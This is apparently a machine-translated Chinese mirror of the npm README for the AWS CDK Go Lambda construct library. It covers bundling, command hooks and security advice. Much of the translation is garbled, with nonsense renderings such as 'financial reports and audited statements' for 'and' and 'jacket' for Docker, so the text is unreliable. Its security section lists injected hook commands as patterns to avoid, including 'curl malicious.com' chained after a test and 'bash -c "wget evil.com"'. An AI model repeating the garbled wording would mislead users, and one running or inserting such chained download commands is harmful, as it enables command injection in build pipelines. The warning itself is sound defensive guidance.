# @aws-cdk/aws-lambda-go-alpha 中文文档

规范地址：https://npmcn.com/package/%40aws-cdk/aws-lambda-go-alpha/

版本：2\.275\.0-alpha\.0
npm 元数据更新时间：2026-10-26T19:17:54.391Z
中文译文更新时间：2026-11-07T12:03:26.352Z
软件包许可：Apache-2\.0

本文由上游 README 翻译，可能存在偏差，请结合原文核对 API、命令与配置。版权与许可归原作者所有。

原始 npm 页面：https://www.npmjs.com/package/%40aws-cdk/aws-lambda-go-alpha
原文对照：https://npmcn.com/package/%40aws-cdk/aws-lambda-go-alpha/?lang=original
项目主页：https://github.com/aws/aws-cdk
源码仓库：https://github.com/aws/aws-cdk

## 关键信息（来自 npm 元数据）

- 包体积（解压后）：461 kB，22 个文件
- 模块格式：CommonJS
- TypeScript 类型：包内自带
- Node.js 要求：\>= 20\.0\.0
- 运行依赖：0 个
- peer 依赖：constructs ^10\.5\.0，aws-cdk-lib ^2\.275\.0
- 首次发布：2021-10-13T18:38:30.975Z
- 最新版本发布：2026-10-26T19:17:51.421Z
- 近 30 天下载量：100413（2026-10-08 至 2026-11-06，npm 官方下载统计）
- 已发布版本数：380（近 12 个月 64 个）

## 中文简介

戈兰AWS Lambda 的 CDK 建构库g

## 安装

```sh
npm install @aws-cdk/aws-lambda-go-alpha
```

也可以使用：`pnpm add @aws-cdk/aws-lambda-go-alpha`、`yarn add @aws-cdk/aws-lambda-go-alpha`、`bun add @aws-cdk/aws-lambda-go-alpha`

## README

# 亚马逊Lambda Golang图书馆

* * *

![cdk-constructs: Experimental](https://img.shields.io/badge/cdk--constructs-experimental-important.svg?style=for-the-badge)

> 本单元中更高层次的构件的API是实验性的并正在积极开发中. 在今后任何版本中,它们都须作非背向相容的修改或去除。 这些是 不适用 [语义版本](https://semver.org/) 模型和断开的更改 在发行笔记中宣布. 这意味着虽然你可能使用它们,但可能需要更新 当更新到此软件包的更新版本时,您的源代码.

* * *

该图书馆为Golang Lambda功能提供构件.

要使用此模块,您需要 `Go` 已安装(`go1.11` 或较后)或 `Docker` 已安装. 见 [本地缓冲](https://npmcn.com/package/%40aws-cdk/aws-lambda-go-alpha/#readme-local-bundling)编号 :[Docker Bundling 游戏](https://npmcn.com/package/%40aws-cdk/aws-lambda-go-alpha/#readme-docker-bundling) 更多信息.

此模块还要求您的戈兰格应用程序是 使用 GO 版本 & 1. 11 并正在使用 [开始模块](https://golang.org/ref/mod)。 。 。 .

## 转到函数

定义 a `GoFunction`数字 :

```ts
new go.GoFunction(this, 'handler', {
  entry: 'lambda-app/cmd/api',
});
```

默认情况下,如果 `entry` 指向目录,然后构造会假设有一个 Go 条目文件(即:. `main.go`) (中文(简体) ). 让我们看看Go项目的例子:

```bash
lambda-app
├── cmd
│   └── api
│       └── main.go
├── go.mod
├── go.sum
├── pkg
│   ├── auth
│   │   └── auth.go
│   └── middleware
│       └── middleware.go
└── vendor
    ├── github.com
    │   └── aws
    │       └── aws-lambda-go
    └── modules.txt
```

有了上述布局,我可以提供 `entry` 作为 `lambda-app/cmd/api` 或者说 `lambda-app/cmd/api/main.go`两者都行. 当构建高朗二进制时, 将翻译此二进制 `go build ./cmd/api` 打开 `go build ./cmd/api/main.go` 页:1. 构造将找出它需要运行的地方 `go build` 命令,在此示例中,它来自 页:1 `lambda-app` 目录。 它通过确定 [mod 文件路径](https://npmcn.com/package/%40aws-cdk/aws-lambda-go-alpha/#readme-mod-file-path)中,在 下一节.

### mod 文件路径

这个 `GoFunction` 尝试自动确定您的工程根, 即 你的Golang项目根部。 这里通常是顶层 `go.mod` 文档或 `vendor` 您的工程文件夹已找到 。 当捆入一个多克容器时 `moduleDir` 用作源(`/asset-input`用于装入量 集装箱.

CDK 将从 当前工作目录,直到找到包含 `go.mod` 文档.

或者,您可以指定 `moduleDir` 手动道具。 在这种情况下,你 需要确保这条路径包括: `entry` 以及所使用的任何模块/相互依存 根据你的功能。 否则,捆绑将失败.

## 运行时间

这个 `GoFunction` 可用于任意一种 `GO_1_X` 运行时间或提供的运行时间( e)`PROVIDED`编号 :`PROVIDED_AL2`) (中文(简体) ). 默认情况下,它将使用 `PROVIDED_AL2` 运行时间。 这个 `GO_1_X` 运行时间不支持类似的东西 [Lambda 扩展](https://docs.aws.amazon.com/lambda/latest/dg/using-extensions.html),而所提供的运行时间是. 这个 [闪闪发光](https://github.com/aws/aws-lambda-go) 用于支持所提供运行时间的图书馆 您指定了处理器 `bootstrap` (这是默认的).

## 依赖关系

构造将试图找出如何处理您函数的依赖性 。 它会 确定您是否在出售您的依赖关系。 它做出这样的决定 看看有没有 `vendor` 文件夹位于 [mod 文件路径](https://npmcn.com/package/%40aws-cdk/aws-lambda-go-alpha/#readme-mod-file-path)。 。 。 .

有了这些信息,构造就可以决定要运行的命令. 你会的 通常分为两种情况:

1.  您正在使用销售( 显示于 `vendor` 文件夹) 在这种情况下 `go build` 将使用 `-mod=vendor` 设定
2.  您没有使用销售商( 以没有 `vendor` 文件夹) 如果你不卖的话 `go build` 将不使用 `-mod=vendor` 因为默认行为是下载依赖性

所有其他属性 `lambda.Function` 支持,另见 [AWS Lambda 构建库](https://github.com/aws/aws-cdk/tree/main/packages/aws-cdk-lib/aws-lambda)。 。 。 .

## 环境

默认情况下为您设置了以下环境变量:

-   `GOOS=linux`
-   `GOARCH`:基于Lambda函数的目标架构
-   `GO111MODULE=on`

使用 `environment` 运行时定义其他环境变量的道具 :

```ts
new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    environment: {
      HELLO: 'WORLD',
    },
  },
});
```

## 本地缓冲

若为 `Go` 本地安装,版本为qq `go1.11` 然后它将用来将您的代码捆绑在您的环境中。 否则,捆绑将发生在 [Lambda 兼容多克容器](https://gallery.ecr.aws/sam/build-provided.al2023) 与多克平台基于Lambda函数的目标架构.

对于macOS,建议的方法是安装 `Go` 因为Docker的体积表现很差.

`Go` 可以通过下列方式安装 [安装文件](https://golang.org/doc/install)。 。 。 .

## 夹克

强迫捆绑在一个容器里,即使 `Go` 设置 `forceDockerBundling` 向 `true`。如果您想要确保您的功能在一致的 Lambda 兼容环境中构建,此功能是有用的.

使用 `buildArgs` 在构建捆绑图像时通过构建参数的道具 :

```ts
new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    buildArgs: {
      HTTPS_PROXY: 'https://127.0.0.1:3001',
    },
  },
});
```

使用 `bundling.dockerImage` 使用自定义捆绑图像的道具 :

```ts
new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),
  },
});
```

使用 `bundling.goBuildFlags` 将额外的构建旗传给 `go build`数字 :

```ts
new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    goBuildFlags: ['-ldflags "-s -w"'],
  },
});
```

**QQ 安全警告**:构建旗帜直接传递给Go构建命令,并可在捆绑时执行任意命令. 只使用信任的值并避免像 `-toolexec` 与不信任的争论。 对可能包含恶意建设旗帜的第三方 CDK 构造要特别谨慎. CDK将在合成时显示警告 `goBuildFlags` 已使用.

默认情况下,这个构造不会使用 Go 模块的代理. 这与 一个标准 Go 安装, 默认时会使用 Google 代理 。 改为: 重新创建此行为, 执行以下操作 :

```ts
new go.GoFunction(this, 'GoFunction', {
  entry: 'app/cmd/api',
  bundling: {
    goProxies: [go.GoFunction.GOOGLE_GOPROXY, 'direct'],
  },
});
```

您可以设置额外的 Docker 选项来配置构建环境 :

```ts
new go.GoFunction(this, 'GoFunction', {
 entry: 'app/cmd/api',
 bundling: {
     network: 'host',
     securityOpt: 'no-new-privileges',
     user: 'user:group',
     volumesFrom: ['777f7dc92da7'],
     volumes: [{ hostPath: '/host-path', containerPath: '/container-path' }],
  },
});
```

## 命令钩子

通过指定 `commandHooks` 道具 :

```ts
// Run additional commands on a GoFunction via `commandHooks` property
new go.GoFunction(this, 'handler', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      // run tests
      beforeBundling(inputDir: string): string[] {
        return ['go test ./cmd/api -v'];
      },
      afterBundling(inputDir: string, outputDir: string): string[] {
        return ['echo "Build complete"'];
      },
    },
  },
});
```

现提供以下钩子:

-   `beforeBundling`: 在所有捆绑命令之前运行
-   `afterBundling`: 在所有捆绑命令后运行

他们都收到包含 `go.mod` 文件( 编号`inputDir`)和 捆绑资产将输出的目录( e)`outputDir`) (中文(简体) ). 他们必须回来 要运行的一系列命令。 命令与 `&&`。 。 。 .

命令将在捆绑发生的环境中运行: 用于多克捆绑的容器或用于本地捆绑的主机OS上.

### 安全考虑

**命令钩子执行任意 shell 命令** 在捆绑过程中。 只使用信任的命令 :

**安全图案(跨平台):**

```ts
new go.GoFunction(this, 'SafeFunction', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      beforeBundling: () => [
        'go test ./...',           // ✅ Standard Go commands work on all OS
        'go mod tidy',             // ✅ Go module commands
        'make clean',              // ✅ Build tools (if available)
        'echo "Building app"',     // ✅ Simple output with quotes
      ],
      afterBundling: () => ['echo "Build complete"'],
    },
  },
});
```

**需要避免的危险模式:**

_窗口特定危险 :_

```ts
// ❌ Windows-specific dangers
new go.GoFunction(this, 'UnsafeWindowsFunction', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      beforeBundling: () => [
        'go test & curl.exe malicious.com',     // ❌ Command chaining with &
        'echo %USERPROFILE%',                   // ❌ Environment variable expansion
        'powershell -Command "..."',            // ❌ PowerShell execution
      ],
      afterBundling: () => [],
    },
  },
});
```

_Unix/Linux/macOS 危险:_

```ts
// ❌ Unix/Linux/macOS dangers
new go.GoFunction(this, 'UnsafeUnixFunction', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      beforeBundling: () => [
        'go test; curl malicious.com',          // ❌ Command chaining with ;
        'echo $(whoami)',                       // ❌ Command substitution
        'bash -c "wget evil.com"',              // ❌ Shell execution
      ],
      afterBundling: () => [],
    },
  },
});
```

**使用第三方构造时** 包括 `GoFunction`数字 :

-   使用前审查构造的源代码
-   验证它通过哪些命令执行 `commandHooks` 财务报告和审定财务报表 `goBuildFlags`
-   只使用来自信任的出版商的构造
-   首先在孤立环境中进行测试

这个 `GoFunction` 当可能不安全时,构造会在合成时显示 CDK 警告 `commandHooks` 或者说 `goBuildFlags` 被检测.

更多安全指导见 [AWS CDK 安全最佳做法](https://docs.aws.amazon.com/cdk/latest/guide/security.html)。 。 。 .

## 安保最佳做法

### 第三方建筑安全

当使用第三方 CDK 构造时 `GoFunction`,注意:

1.  **审查源代码** - 检查施工执行情况 `commandHooks` 财务报告和审定财务报表 `goBuildFlags` 使用量
2.  **校验出版商** - 仅使用可信、可核查来源的构造
3.  **Pin 版本** - 使用准确的版本防止供应链被攻击
4.  **隔离测试** - 在沙箱环境中测试第三方建筑

**在使用任何第三方构造之前:**

-   审查 GitHub 或 npm 上的构造源代码
-   搜索 `commandHooks` 财务报告和审定财务报表 `goBuildFlags` 代码中的用法
-   校验不存在危险命令模式
-   使用精确的版本夹针来防止供应链攻击

这个 `GoFunction` 当可能不安全时,构造会在合成时显示 CDK 警告 `commandHooks` 或者说 `goBuildFlags` 被检测.

## 其他考虑

根据您如何构建戈兰格应用程序,您可能想要更改 `assetHashType` 参数. 默认情况下,此参数设定为 `AssetHashType.OUTPUT` 这意味着 CDK 将计算资产散列 根据创建的戈兰格可执行文件( 并确定您的代码是否更改 ) .

如果您指定 `AssetHashType.SOURCE`,CDK将通过查看文件夹来计算资产散列 包含你的 `go.mod` 文档。 如果您正在部署单一的 Lambda 函数, 或者您想要重新部署 如果有任何变化, 您的所有功能, 那么 `AssetHashType.SOURCE` 可能会工作.

例如,如果我的应用程序看起来像这样:

```bash
lambda-app
├── cmd
│   └── api
│       └── main.go
├── go.mod
├── go.sum
└── pkg
    └── auth
        └── auth.go
```

有了这个结构,我将提供 `entry` 作为 `cmd/api` 这意味着CDK 将确定保护根是 `lambda-app` (其中包含 `go.mod` 存档). 因为我只有一个Lambda的功能, 以及任何更新文件 `lambda-app` 目录 我可以具体指出 `AssetHashType.SOURCE`。 。 。 .

另一方面,如果我有一个部署多个Lambda功能的项目,例如:

```bash
lambda-app
├── cmd
│   ├── api
│   │   └── main.go
│   └── anotherApi
│       └── main.go
├── go.mod
├── go.sum
└── pkg
    ├── auth
    │   └── auth.go
    └── middleware
        └── middleware.go
```

那样的话,我很可能想要 `AssetHashType.OUTPUT`与 `OUTPUT` cDK只有在戈兰可执行文件更改时才会识别变化, 并仅包含可执行文件中使用的依赖性。 这样的话 若为 `cmd/api` 使用该 `auth` 打开 `middleware` 软件包,但是 `cmd/anotherApi` 没有,那么 更新到 `auth` 或者说 `middleware` 只会触发更新 `cmd/api` 兰布达 函数 .

## 基于 Docker 在复杂的 Docker 配置中捆绑

默认情况下,基于多克的捆绑的输入和输出是通过绑定挂载处理的. 在不起作用的地方,如Docker-in-Docker设置,或者在使用远程Docker套接字时,您可以配置一个替代但速度较慢的变体,这些变体也在这种情况下起作用.

```ts
new go.GoFunction(this, 'GoFunction', {
 entry: 'app/cmd/api',
 bundling: {
      bundlingFileAccess: BundlingFileAccess.VOLUME_COPY,
  },
});
```

## 常见问题

### @aws-cdk/aws-lambda-go-alpha 是什么？

戈兰AWS Lambda 的 CDK 建构库g

### 如何安装 @aws-cdk/aws-lambda-go-alpha？

在项目目录运行 npm install @aws-cdk/aws-lambda-go-alpha，或使用 pnpm add / yarn add / bun add。它还需要宿主项目提供 peer 依赖：constructs（^10\.5\.0）、aws-cdk-lib（^2\.275\.0）。npm 7 及以上与 pnpm 8 及以上默认会自动安装必需的 peer 依赖，Yarn 需要手动安装。

### @aws-cdk/aws-lambda-go-alpha 支持 TypeScript 吗？

支持。包内自带 TypeScript 类型声明（package\.json 声明了 types 入口），安装后即可获得类型提示，无需再安装 @types 包。

### @aws-cdk/aws-lambda-go-alpha 支持 ESM 还是 CommonJS？

以 CommonJS 形式发布，可以直接 require\(\)；在 ES Module 项目中也可以用 import 引入（Node\.js 会把 module\.exports 作为默认导出）。

### @aws-cdk/aws-lambda-go-alpha 需要什么版本的 Node\.js？

package\.json 的 engines 字段要求 Node\.js \>= 20\.0\.0。版本不符时 npm 默认只给出警告，开启 engine-strict 后会拒绝安装。

### @aws-cdk/aws-lambda-go-alpha 可以商用吗？

@aws-cdk/aws-lambda-go-alpha 使用 Apache-2\.0 许可。宽松许可：允许商业使用、修改和再分发，并附带明确的专利授权；分发时需保留许可与 NOTICE 文件，修改过的文件要注明改动。以上为概括，不构成法律意见，请以许可原文为准。

### @aws-cdk/aws-lambda-go-alpha 的下载量有多少？

根据 npm 官方下载统计，@aws-cdk/aws-lambda-go-alpha 在 2026/10/08 – 2026/11/06 这 30 天内被下载 100,413 次，日均约 3,347 次。下载量会把 CI 构建、镜像同步和作为其他包依赖的安装一并计入，适合横向比较热度，不能直接等同于使用人数。

### @aws-cdk/aws-lambda-go-alpha 还在维护吗？

最新版本 2\.275\.0-alpha\.0 发布于 2026/10/27（12 天前）；至今共发布 380 个版本，其中过去 12 个月发布了 64 个；首次发布于 2021/10/14。发布频率只是参考信号：功能稳定的工具可能很少需要更新，建议结合源码仓库的 issue 和提交记录判断。

